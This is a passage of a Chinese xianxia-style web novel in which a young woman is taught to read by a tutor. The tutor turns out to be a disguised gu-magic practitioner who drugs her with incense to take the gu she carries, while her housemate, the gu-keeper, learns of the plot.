有点起床气的男人睁着眼睛半靠在床头,手指重重地揉按额头,本想放蛊警告她安静些,转念想到她十八岁才得到第一次读书的机会,兴奋些也在所难免,便勉强按下胸腔中的不耐烦,干脆起床洗漱,拎起鱼竿早早出门,眼不见心不烦。
晨光大盛之际,柳闲的身影终于出现在门口,左边是簪花着裙的娄掌柜。
听说秋满千辛万苦找了个夫子,娄掌柜说什么也要来凑凑热闹,顺便给她送份礼,笔墨纸砚样样俱全。
右边是个年轻的白面皮男人,头戴灰巾,身着白纱,气质儒雅,书卷气息极浓,正是卫晏。
甫一见面,卫晏便向秋满抱拳鞠躬:“在下卫晏,见过秋满姑娘。”
秋满愣了一下,连忙照模照样地回了一礼:“你好你好。”
读书人都这么客气吗?她疑惑。
把人带去书房后,卫晏稍微了解了一点关于她的事,很快便安排好今日要做的功课,并且要了几张秋满前几日咬着笔杆子胡乱练字的纸张。
字很丑,歪歪扭扭像条蜈蚣,但卫晏没有笑话她,只是温和地告诉她一些握笔小技巧,教她如何更好地写出她的名字。
“今日我先教你写几个字,你先稍微掌握运笔的技巧,顺便认识一下字形如何拆解,之后若是遇见不认识的字你便可以尝试着猜一猜。”卫晏说。
秋满“嗯嗯”地点头,专心致志地学习如何握笔,袖子不小心沾到墨渍也没在意,倒是卫晏注意到了,主动伸手将她袖子挪开。
两人之间距离不算近,但也不算远,秋满握笔握歪了时,站在她身后的卫晏便会伸手拨一下笔端。
柳闲和娄掌柜蹲坐在门口,窃窃私语。
“饲蛊人今天真不在?”
“小满姑娘说他早早便出了门,应该就是真的出门了。”
“你说他到底怎么想的,非得找别人来教小满读书识字?你看那俩人离得多近。”
“也没有很近吧?”
“啧,我瞧着饲蛊人和小满之间的关系,可能不是我们以为的那样。”娄掌柜说,“这世上有哪个男人乐意让别的男人单独接近自己的心上人?”
柳闲原本也以为饲蛊人和秋满之间有些那种关系,可这会儿当真从娄掌柜口中听见“心上人”这三个字,他又莫名感到怪异,仿佛饲蛊人天生就不可能和“心上人”扯上关系。
两人后知后觉意识到了这一点,同时噤声,面面相觑,最后各自心情微妙地离开此地。
饲蛊人自己都不在意那俩人单独相处,她俩瞎操个什么心。
没多久,卫晏说他有点不舒服想出去一趟,秋满专心练字,头也没抬,嗯嗯地点头随他去。
待他身影消失在门外,秋满才幽幽抬眸凝着他消失的方向,随后低下头,继续一笔一划地写下自己的名字,半边半边地拆分练习。
很快卫晏便回来了,手上沾了些湿润,大约在外面洗了手,袖口下隐隐露出一丝青色痕迹。
见秋满毫无所觉,仍乖巧地坐在原位练字,他眼眸微深,拢拢松散的袖口,进屋后若无其事道:“秋满姑娘,接下来可以再练习练习别的字。”
秋满抬头,盯着他的眼睛,似乎是在思考他的话该不该听。
她的眼睛很黑,脸颊清瘦,微笑时眼眸微弯,浑身上下散发着无害的气息,可一旦不说话,漆黑双眼只盯着别人眼睛瞧时,周身便多了股说不清道不明的攻击性,像是某种受到威胁的兽类,为了保护自己而不得不如此。
卫晏轻咳一声,不着痕迹地避开她的目光,握住另一只笔,道:“来,我们接下来练习‘师’这个字。”
与此同时,桃花巷外的某条河边,人迹罕至之处,水浅草深,环境幽静宜人。
饲蛊人坐在河心一块足有人高的石头上,玄红袍角垂在石边,将将擦着水面,半点没湿。
鱼竿插在石头上的一个小孔里,浮漂静静浮在水面,他单手支颐,脑袋微微歪着,迎着日光懒洋洋打了个哈欠。
河岸边站着一名彩衣少年,约莫十四五岁的模样,头发用五彩绳编出七八缕细细的辫子,统一在后脑勺束成个高马尾,发梢和五彩绳一起垂在身后,像只乱飞的花蝴蝶。
他这一身打扮花里胡哨,看着就十分扎眼,并且长了张精力充沛的脸,连带着声音也十分昂扬。
“公子,之前你让我查的事我查到了。”
“三十里外的沁阳山上的确有一处炼药人的药庄,那药庄的负责人估摸着收到什么消息,前几日便带着里面的人跑了,只留下几个身体被毒药糟蹋废了的孩子,我赶去时那几个孩子已经没气了。”
“不过我在药庄里找到一些别的线索,他们之前可能养过蛊,但应该失败了。”
“我猜那家药庄上面的人已经盯上你和你的扶尸蛊,现在我们要做些什么吗?”
饲蛊人听得昏昏欲睡,仿佛被盯上的那个人不是他,随口道:“知道了。”
彩衣少年正处于人嫌狗憎的年纪,精力旺盛得能和马玩赛跑,这会儿不由踩着水迫切道:“公子,要不要我继续查?再给我点时间,我肯定能把那群人揪出来。”
“不必。”饲蛊人兴致缺缺,“他们藏了二十多年,不会那么轻易被你抓到。”
彩衣少年无事可做,有些失望:“
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那需要我去查查你宅子里那姑娘的事吗?”
饲蛊人顿了一顿,随后才道:“不用管她。”
没有立刻否决,有点情况。
彩衣少年琉璃色的眼珠子乱转,顺手薅了把草塞嘴里嚼啊嚼:“公子,外面都在传你和那位姑娘关系匪浅,不仅同吃同住,还送她银子和裙子。”
饲蛊人直接打断他不着边际的想象:“再啰嗦就送你回京都国学监。”
他最怕读书了!
彩衣少年连忙闭上嘴,没一会儿又自顾自嘟囔起来:“还以为很快能多个嫂嫂聊天呢,你和定微都是俩闷葫芦,无聊!没劲!”
正要走时,饲蛊人想起什么,开口叫住了他:“听岫,去查查卫晏。”
一听有事能做,彩衣少年顿时神采飞扬,立马答应:“保证完成任务!”
他离开后没多久,饲蛊人也收起了空鱼竿,拎着空空如也的木桶走上回去的路,途径卖鱼的摊子,一如既往地买了两条鲤鱼。
卖鱼大叔一边往他木桶里装鱼,一边假装没看见他手里的空鱼竿,乐呵呵道:“公子眼光真好,我家的鱼可是这附近最新鲜肥美的!”
饲蛊人凉凉地看了眼桶里的鱼。
的确新鲜肥美,泡尸骨水里饿个三五天都不会死。
……
之后一连四天,秋满痛并快乐地学习,饲蛊人专注钓鱼,两人互不干扰,时间错开得刚刚好。
卫晏这几日都没见着饲蛊人,偶尔会不经意地问秋满,这宅子是她一个人住还是和朋友一起住,秋满答曰:“那是我债主。”
卫晏便不再多问。
直到第五天,卫晏突然托柳闲送来一封信。
秋满拆开信,发现她竟然认得大半,都是这几日卫晏教过的字。
他说他身体不舒服,可能需要告一天假,让她在家中勤加练习,莫要在意他的病。
秋满:“……”
信里说莫在意,信外其实是在暗示希望她在意一下。
柳闲没多想,只觉得他是个老实的读书人,身体确实不好,在京都时水土不服,来临安没几天又摊上了病。
“卫公子孤身一人来临安,突然生病,身边也没个人照顾,我还是拎点东西去看看他吧。”
柳闲心肠软,遇见生活困难的人总会忍不住想帮一把,当初秋满穿一身破烂过来时,他也想送她些自家闺女的旧衣裳。
他都这么说了,秋满如何也得表示表示,毕竟卫晏这几日除了教她认字,还总给她灌输一些师徒之间的道理。
“师者,传道受业解惑也。”
“一日为师,终生为父。”
“经师易遇,人师难遭。”
“明师之恩,诚为过于天地,重于父母多矣。”
句句都在说“师”的重要,师犹如父。
秋满想起她那赌鬼老爹,觉得“师”和“父”其实不大能放一起比较,但圣人此言必有其道理。
她叹了口气,决定和柳闲一起去探望病中的老师,并且再次向颇有经验的饲蛊人请教,上门探望老师该准备些什么礼物。
饲蛊人洒了把鱼食,和善道:“带上你这几日的课业,足矣。”
秋满:“?”
真的假的?
12. 第十二章
秋满找了好几天都没找到一位愿意冒险上门教她的夫子,偏偏这时候来了个自京都而来的落选举子卫晏,稍微用脑子想一想都知道这人恐怕另有所图。
但送上门的老师不用白不用,饲蛊人懒得教,她总得给自己找个能替自己打基础的老师,本来以为卫晏能多坚持几天,没想到才五天就不行了。
故而当来到卫晏的住处,而柳闲又被人打晕带出门时,秋满想的不是“完蛋,马上要死了”,而是“好麻烦啊又要重新找一位老师”。
卫晏的住所离桃花巷不算远,走过来只要两刻钟,推开窗正对面便是清闲居,非常适合用来监视柳闲的一举一动。
他等了三天才主动出击,之后又硬生生熬了五天教秋满这个文盲读书认字,有几次险些被她气吐血,偏偏还得压着性子温柔耐心地继续教她,最后实在受不了,终于决定计划提前把人引出宅子。
但秋满这会儿看起来丝毫没有被人算计的自觉,面色红润,眼眸乌黑,头上挽了根栩栩如生的蝴蝶簪,甚至主动在屋里找了张椅子坐下,从随身的小布包里取出一本薄薄的练习册,若无其事地问他:“卫老师,这是我昨日的课业,你要不要先批阅一下?”
卫晏:“……”
她看起来太有恃无恐,让他不由怀疑自己是否真是她“嫡出”的好老师。
屋中燃着淡淡的桃花熏香,甜而不腻,秋满闻着有点想吃桃子了。
卫晏僵硬地接过她手中的练习册,顶着她期待的目光一页页翻过,额角青筋直蹦哒,“啪”一下合上册子,勉力道:“秋满姑娘,我们还是来聊聊正事吧。”
秋满:“我的课业也是正事呀!”
她很重视自己的学习成果的。
卫晏不听,自顾自开展下一个话题道:“秋满姑娘,你可知道与你同住的那个男人究竟是什么人?”
秋满想了想,口不对心道:“我当然知道,他是一个好人。”
卫晏:“……我的意思是,你清楚他的真实身份吗?”
秋满对别人的隐私不是很好奇,但既然有关饲蛊人,她也有这个机会,不问一问反而觉得有点亏:“他是什么身份?”
卫晏没有立刻回答,而是顾左右而言他:“他一句话便能够让临安换个县令。”
这个她听说过,柳大叔那事儿嘛。
“然而事实远不止于此,莫说一方县令,便是一州知州,他想把人弄下去也只是随手的事。”
听起来好像很厉害,但她根本不知道知州究竟是多大的官啊。
卫晏见她一脸懵懂的模样,捏捏手指,忍无可忍道:“商州知州,陆允陆知州,他的儿子陆幸前些日子不慎冒犯于你,之后便双目失明,双耳失聪,甚至失去了最基本的言语能力,这一切都是谢公子所为。”
这么听来,饲蛊人似乎并非她以为的“稍微厉害点的普通人”,而是特别厉害的非普通人。
秋满又问:“你说的那个谢公子就是饲蛊人?”
她竟然连这个都不知道?卫晏不方便透露更多,只点头应是。
秋满觉得今天这趟上门不算亏,至少叫她知晓了饲蛊人的姓氏。
她思索片刻,忽而坐直身体,有些惊讶地看向他:“卫老师,你不会以为他是为了我才对那位什么知州大人的儿子下的手吧?”
卫晏反问:“难道不是?”
他这几日已彻底弄清楚,饲蛊人的确待她不同寻常,宅中的一切她皆可随意使用,连住处都是其他人有进无出的蛊屋。
那人从前可从未对任何一个女人如此特殊,即便他对她没有男女之情,她的存在对他而言也一定十分重要。
秋满记得陆幸,这段时间以来要说冒犯她的人,数来数去也就那么一个,长得像块葱油大饼,曾在绣兰阁嘲讽她买不起衣裳,还冤枉她偷饲蛊人钱袋。
虽然的确是有这么一桩小事,但她并不觉得饲蛊人会为了她做到那种地步,多半是他们自己得罪了饲蛊人而不自知。
“原来你是为了此事而来。”秋满想通了,见他没有否认,便无奈道,“这事儿你和我说没用呀,你们直接去找他不是更好吗?”
“若是找他有用的话,我也不会绕着弯子来找你。”卫晏严肃道,“前段时间我家大人已约了谢公子见面,本想同他道歉,求他高抬贵手饶了他那不懂事的儿子一回,可谢公子不仅没听,反而又下了手,陆小少爷回去后便昏睡至今,而我家大人昨日更是收到一份下放的调令。”
他语速有些急,迫切道:“谢公子同皇家关系密切,他若想让我家大人做不成知州,只需一句话,可秋满姑娘你知道吗?我们读书人寒窗苦读十数年,为的便是拜入朝堂为民做事,他一句话便让我们数年的艰辛付诸东流,这对我们而言何其不公?”
秋满:“……”
她觉得自己的遭遇也很不公,上半辈子被赌鬼老爹打,打完又卖给药庄给别人做试药人,好不容易假死逃出来了,结果发现没多久好活,最后把自己的尸体以二两银子的低价卖给饲蛊人,现在还被人当成许愿的工具。
“那你想让我怎么帮?”看在他的确耐心教了她几日的份儿上,秋满决定再听一听他的废话,“是救你们家的小公子,还是让你们家大人继续做大官呢?”
卫晏眼睛一亮:“不如帮人帮到底,两个一起帮?”
秋满心想他想得真美,她也就随口一问,她要是能说服饲蛊人做他不想做的事,现在也不至于坐在这里和他聊这些。
“秋满姑娘若是愿意帮忙,本官感激不尽。”
这时,内室缓缓走出一个穿着绣竹青衣的中年男人,五官端正,唇边蓄着一层薄须,头戴青玉冠,气质儒雅温润,凝向她的目光威严而不失和善。
“这位便是陆知州,陆大人。”卫晏连忙起身,向秋满介绍道,“方才陆大人一直不现身是怕你有压力,既然你愿意帮忙,陆大人若再隐藏身份,实在说不过去。”
陆允微笑着看向秋满:“倘若此事能成,秋满姑娘想要什么,只要我能做到,必当竭尽全力。”
秋满并未因此感到高兴,只是很直接地问他:“如果只能二选一,你选儿子,还是选官?”
屋中气氛一时僵滞,陆允看了眼卫晏,卫晏暗中给秋满使了个眼色,自觉退到屋外。
秋满没看懂他那个眼色是什么意思,就
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当他眼睛抽筋好了,她问陆允那个问题也只是突发奇想才有如此一问。
她确实好奇,当人在不得不二选一时,究竟会选孩子还是选官位。
陆允没有沉默太久:“陆某当官是为百姓,在陆某心中,百姓皆为陆某亲子,断不可为一人而弃万人。”
秋满不太习惯听人文绉绉地说话,费脑子,但陆允说的话她听懂了。
他选官。
也不是很意外,药庄里为了金银权势而放弃孩子的父母比比皆是。
……
陆允来得静悄悄,去得也静悄悄,速度之快令人咋舌。
柳闲靠在门外的墙边睡得正熟,秋满让卫晏帮忙把他扶进屋里躺着,瞧见桌上落下的课业,正要喊卫晏再批阅一下时,卫晏立即转移话题道:“秋满姑娘,天色不早了,我还是先送你回去吧。”
秋满:“其实也没有很迟,可以批完课业再……”
卫晏一路将她送到院门口,坚持道:“还是莫要让谢公子久等。”
“……那好吧。”
秋满遗憾,把课业卷巴卷巴放回斜背的布包里,准备带回去给饲蛊人看看,顺便告诉他,他的“尊师重道”之计实在不好用,以后还是别瞎出主意骗她了。
正要拉开院子大门时,忽而双腿一软,整个人不受控制地摔倒在门边。
眼前的景色一瞬间变得模糊不清,秋满喉中迟来地涌起一阵桃花的甜香,这味道有点熟悉,是卫晏屋子里点的桃花熏香。
发上的蝴蝶簪撞到门,跌落在地,簪上那只栩栩如生的蝴蝶脱落在地,濒死般震了下翅膀,随后便没了反应。
秋满掐掐手心,努力挣回一丝清醒的意识,只见面前垂下一道阴影。
卫晏弯腰捡起地上那只空空如也的银簪,宽大的衣袖向上拉扯,露出手腕处的一条小蛇,赤目青鳞,与之前闯蛊屋那两人头上的刺青一模一样。
他抬脚碾死地上那只蝴蝶蛊,垂眸睨着昏迷的少女,缓声一笑。
“扶尸蛊果然在你身上。”
秋满彻底晕过去之前,脑子里只有一个想法:这回亏大了,要是还能活着回去,她一定天天躺床上睡觉,再也不要学习了!
与此同时,桃花巷的宅子后院。
彩衣少年听岫带着新鲜出炉的情报,火烧屁股般赶回来进行汇报。
“公子公子,我查到了,你让我查的那个卫晏根本不是卫晏,真卫晏九天前就死在来临安的路上了!”
“现在那个是南境来的一个养蛊人,名叫邬行,这人跟你还有点仇怨。”
“五年前你和定微去南境玩儿,路上遇到几个用活人养血蛊的家伙,你们顺手把人老家端了,结果没端干净,现在可好,活下来的这个易容打扮找上门了,八成是来找你报仇的!”
“你还引狼入室,任他骗走住你隔壁那姑娘,你花了七年时间才培养出来的扶尸蛊,这次要是真落进别人手里,你这怪病还能不能再拖七年都不一定!”
他急得头上冒汗,倒棋子似的嘚嘚嘚一股脑倒完了,然后发现对面喂鱼的那人神色平淡,一如既往地回了他三个字。
“知道了。”